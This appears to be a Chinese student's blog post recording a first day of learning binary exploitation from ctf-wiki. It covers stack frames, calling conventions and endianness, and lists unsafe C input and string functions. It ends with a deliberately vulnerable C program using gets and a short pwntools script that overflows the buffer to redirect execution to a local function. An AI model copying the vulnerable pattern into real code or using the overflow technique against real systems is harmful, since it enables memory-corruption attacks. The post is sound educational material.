因为是专业要求,还是好好学一下吧(学不好就去前端了哈哈哈哈哈)
第一天接触的是最简单的栈溢出,根据ctf-wiki上的文章,去看了一下函数调用相关的内容,放一下链接,方便以后复习
c语言函数调用()一
c语言函数调用()二
关于里面总结了几点
- 栈帧结构
在x86中,被调函数的参数在返回函数的上面,而在x64,System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
利用call命令压栈保存返回地址,再压栈保存主调函数的原bp地址,之后根据需要保存寄存器中的值,然后是局部变量
2.函数序和函数跋
代表了调用函数和返回函数在汇编层面上的过程,看不懂汇编可以参考王爽的汇编原理(很快就能啃完)(话说是不是mov后有点顺序问题)
3.参数传入顺序
这里引申出了很多函数调用约定,有cdecl调用约定,stdcall调用约定,fastcall调用约定,thiscall调用约定,naked call调用约定,大部分情况下都是参数从右到左入栈,但配合栈的特点,莫名的对齐
4.大小端问题
将一个多位数的低位放在较小的地址处,高位放在较大的地址处,则称小端序;反之则称大端序,现在才弄清楚。最常见的还是小端吧,低对低,高对高,注意高位地位的概念(我是傻子吧)
然后进入pwn相关问题
关于栈溢出,就是利用了一些很危险的函数,这里直接粘贴复制列举一下
输入
- gets,直接读取一行,忽略'x00'
- scanf
- vscanf
输出
- sprintf
字符串
- strcpy,字符串复制,遇到'x00'停止
- strcat,字符串拼接,遇到'x00'停止
- bcopy
关闭了地址随机化后和金丝雀后,就直接利用栈溢出,覆盖返回地址就可以了,具体使用ida,直接看危险函数变量距离bp的距离然后填充,注意的是因为储存了主调函数的原bp需要多加一段。
下面是原程序
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
exp为
##coding=utf8
from pwn import *
## create a object interacted with the app
sh = process('./stack_example')
success_addr = 0x0804843b
## crate the payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## send a string to the app
## sendline will append '/n' to the string
sh.sendline(payload)
## transform to interactive
sh.interactive()
以上
(小声bb 我的英语好烂 如果您不幸看到了这篇文章,有任何疑问欢迎提出一起交流,不要骂我,我只是个会写点页面的渣渣)
下一篇就是金丝雀了
明日继续(也许是今天晚上)
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。